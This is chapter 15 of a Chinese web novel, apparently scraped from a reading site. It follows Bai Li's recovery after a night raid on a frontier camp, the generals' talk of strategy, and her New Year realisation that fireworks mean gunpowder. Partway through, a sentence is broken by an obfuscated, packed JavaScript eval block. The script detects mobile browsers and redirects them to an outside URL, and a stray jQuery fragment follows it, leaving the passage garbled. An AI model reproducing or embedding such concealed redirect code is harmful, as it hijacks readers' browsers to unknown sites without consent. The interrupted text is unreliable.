15. 第15章

作品:《闻西风

    一路之上有熟悉的脸庞,更多的是陌生的模样,倒在地上,纵横交错,白璃手上的刀还在滴血,顺着她的脚步一路向前。


    周围的西荣士兵已被肃清,杏儿被抬上担架。


    有人在问她怎么样,她只觉得耳边嗡鸣。


    直到她紧紧握刀的手被人轻柔的握住,手里的刀也被拿走,她才回神似的转头,楚暗接过她的刀扔在一旁。


    “我,杀人了。”看到楚暗的那刻她觉得自己凌乱的呼吸才渐渐平顺,身体的力气像被瞬间抽空,就要跪倒在地。


    楚暗托住了她的胳膊将她扶了起来。


    “还能走吗?”楚暗低头看着白璃。


    白璃慢慢站稳,点了点头,谁料一个步子刚迈出去,眼前一黑就一头往地上栽去,楚暗眼疾手快将人一把捞住。


    陈勇已经带人去加固守卫,原来西荣是从校场旁边的河里摸了过来,隆冬时节,这条河水流湍急并未结冰,只是河水冰冷刺骨,是以这边守卫最弱,未曾想他们竟然从此处偷袭。


    楚暗带白璃回到军医营帐,穆师傅已经将杏儿的伤处理完毕,杏儿也已经醒了,幸好只是皮肉伤,肩头的箭伤严重一些,也未伤及筋骨。


    倒是白璃,穆师傅为她把脉,她从追追身上掉下来时就摔到了脑袋,只是一直强撑着。


    穆师傅捋捋胡须:“倒没什么皮外伤,就是摔到了脑袋,我先开服消肿散瘀的药,先吃吃看。”


    楚暗从旁边端过水盆,拧了一把帕子,替白璃擦干净了脸上和手上的血:“麻烦穆叔了。”


    然后转头对杏儿说:“你也好好休养。”


    杏儿冲他点点头:“放心,我会照顾她。”


    楚暗将帕子放下,这才转身离开。


    陈勇已经和萧若尘在汇报固防的情况,见楚暗进了来,陈勇一把跪了下去:“将军,都是属下安排不妥,巡防不利,才叫西荣崽子趁虚而入,属下甘愿受罚!”


    “罚你的事后头再说,先起来。”


    陈勇犹豫着,还在地上跪着,有些小心翼翼的问:“苏管事和白姑娘没事吧?”


    “都无大碍,穆叔在照料了,这次什么情况,细细说来?”楚暗解下盔甲递给章风去清洗。


    “校场外的那条河这个时节从不结冰,但是河水刺骨,水流湍急,人根本不可能渡河过来,防守的兵力就薄弱了些,谁能想到那些西荣崽子们竟然能从那里偷袭。”说到这里陈勇有些沮丧和自责。


    “那他们是怎么过来的,还一下子来了几百人,绝不可能是渡河而来。”楚暗来到地图前细细看着。


    “沿着河流,把上下游给我仔细摸一遍,绝对有哪里漏掉了。”楚暗点着地图上的那条河。


    “是。”陈勇得令就要走。


    “这次我们伤亡情况如何?”楚暗转头问陈勇。


    “还好,伤兵二十一,伤亡十三。”


    楚暗点点头。


    “上次西荣损伤那么多,还要组织这次偷袭,看来是上次的失败实在让他们难以接受。”萧若尘看着地图。


    “垂死挣扎,这次偷袭的人里还有一部分人尚在束发之年,西荣已无兵可用。”楚暗眸色深沉。


    萧若尘面上闪过一丝惊诧,点了点头:“如此看来,短时间内他们不可能再组织大规模的进攻了,只要我们做好防守,他们最多也就是像今晚一样再来偷袭罢了,不足为患。”


    “纵使如此,西荣各部还是野心勃勃,他们还真是锲而不舍。”楚暗微微叹了口气。


    “年关将至,幽州之乱尚未平,最多开春,其余诸州也该有动静了。”楚暗望向旁边的一幅地图,那是大沧九州的地图。


    “今年的粮草银两已储备充足,我又叫人在各州买了些田地,届时动乱,也好接济些流民。年后我就动身,开春之前回来,这次去也只是大体了解些情况,为日后多做准备。”萧若尘走到一旁的椅子坐下。


    楚暗垂眸,点点头没有说话。


    “如今我们有二十万兵马,除了盛京和幽州,九州之内,凉州兵马最多,卓临照派了人去平幽州之乱,再有动乱,他手里兵马不足,届时很有可能来调凉州兵力。”萧若尘端着茶,边喝边说。


    “青州,冀州毗邻盛京,沃野千里,但屯兵一般,各有十万,交州,江州地处南疆,民风淳朴,但山长水远,卓临照鞭长莫及,扬州商贸繁荣,屯兵更少,并州,荆州物产丰饶,各屯兵六万,又紧邻扬州,互通有无,就看到时谁先动起来吧。”楚暗站在地图前,把当前形势和萧若尘捋了一遍。


    “青州,冀州,扬州,是除了盛京卓临照势力遍布最广之地,也是受他荼毒最重之地。”


    楚暗的目光随着萧若尘的话落在这三州之地,随后目光又缓缓下移,他伸出手去,抚上地图的一隅。


    他低声呢喃了句:“江州...”


    像是触到了少时的记忆,他猛的撤回手攥紧拳:“师父,总有一天我们会回去的,是吗?”


    萧若尘看着他,缓缓放下手里的茶盏,郑重的点头。


    “是...”


    白璃昏迷间感觉自己回到了青泉寺,只是寺中空无一人,她缓缓步入大殿,只有大佛悲悯的望着她。


    转眼她又身处刚才的战场,只是这次她仿佛局外人,只能冷眼旁观,可是身边飞溅的鲜血还是洒在了她的身上,她眼睁睁的看着杏儿身后向她挥去的长刀,动弹不得,也发不出声响。


    蓦的,钟声响起,似是从天际传来,又仿佛是从遥远的另一个时空,洪亮而深远的声音回荡,这里的一切像是被定格。


    白璃倏地醒来。


    杏儿就坐在她身旁,她们还在军医营帐,“醒了?你喝了药,昏睡一天一夜了。”


    杏儿将她慢慢扶起来,担忧的望着她,穆师傅来又替她诊了脉,身体已无大碍。


    杏儿也早可以活动自如,就是肩上的箭伤还需养一段时日,这边手用不上力气。


    休息了这么久,白璃也实在再睡不着,她磨着药,换了杏儿去守着炉火:“那晚有一个人救了我,可我根本不认识他,他替我挡了那致命一刀,我却连他的脸都没看清,连他的名字都不知道。”


    杏儿看着闪烁的炉火:“身在战场,我们就是战友,战友之间,以命相交,那晚你也救了好些人不是吗?”


    “可战场...”白璃还是难以接受。


    “可战场就是如此,刀剑无眼,生死不由人。”杏儿长叹一口气。


    “杏儿,你是不是武功很高的?”


    杏儿不妨白璃突然一问


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817485|174741||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,愣住了,没有立即回答。


    “你教教我吧,胖师傅只肯教我几招,要是我武功够高,就不会拖累你,拖累你们了。”


    “你的功夫虽然不高,但也能看出是有路数的,我...我的功夫不适合你...”


    杏儿难得的拒绝了她,白璃看着杏儿有些落寞的神色,没有强求。


    陈勇率人在河流上下游摸了三天,终于赶回了军营。


    “原来在三十里外,下游一个拐弯的地方,河水结了冰,我们在那里发现了大量的脚印,西荣崽子们定是从那里渡河的。”


    楚暗点点头:“既找到了地方就加强戒备,其余位置也不可松懈,年关将至,更不可掉以轻心。”


    “是,我已经都布置好了。”


    “今年比往年都冷,将士们的营帐里若是炭火棉被不够的,及时上报,我来安排。”萧若尘合上手里的情报,抬头对陈勇说。


    陈勇面上带上喜色:“谢军师。”


    陈勇带兵下去休整了,萧若尘在桌案后站起身来,来到楚暗身边:“陈勇虽然还有些莽撞,但不失为一名勇将,倒是应了他的这个名字。”


    “虽然莽撞却也骁勇,若有一日我们征战四方,他倒是可以接替我固守凉州,正好再磨磨这性子。”楚暗微微笑了起来。


    军营里的除夕之夜和别的时候也没有什么大的不同,就是胖师傅给大伙煮了饺子,白雪簌簌,暖汤下肚,虽然条件清苦,大伙倒也很是满足了。


    有人开始唱起家乡的歌谣,欢闹之声透过帐子传了来,在白璃耳中更多一丝愁绪。


    白璃没有吃多少就放了筷子,她站在军医营帐前望着天空,没有皎皎明月,没有星光点点,无尽的夜空只有白雪飘落,西风冷冽,这是第一个没有姥姥的春节。


    杏儿在她身后撩了帘子出来:“想家了?”


    “想我姥姥了,可是就算回了家,我也再见不到她了。”白璃微仰着头,长出一口气,似是在忍眼眶的热意。


    忽的,烟花的爆鸣声从远处传来,那是凉州城的方向,白璃没想到在这里能看到烟花,杏儿和她伫立在营帐前,直看到烟花散落。


    “真美啊。”杏儿感慨着。


    “是啊,烟花真美啊。”白璃也感叹着,可是突然她像是想到了什么。


    她一把抓住杏儿的手,激动的说道:“烟花!这个时代有烟花?有烟花不就有火药吗,对了,你那天晚上还放了火信,我早该想到的。”


    白璃强行压下心中的兴奋:“烟花都是哪里产的呀,哪里造烟花,还有火信,是哪里来的?”


    杏儿被白璃突如其来的转变弄得有点发懵,想了好一会才说:“这个我还真的不知道,左不过是长期合作的一些烟花作坊,火信是军中统一发放,需得问下军师。”


    这个时代火药的威力还未可知,只是看如今的情形,只有烟花而未有热武器,烟花生产也还未形成规模,恐怕火药的威力实在是不怎么样,就这样突然说出火药会不会被人怀疑,也难以让人置信,还是看过那些烟花作坊再做打算吧。


    白璃这样想着:“不急,什么时候能带我去这些作坊看看就行,我有一些新奇的想法想验证一下。”


    杏儿有些摸不着头脑,但还是点头答应了她。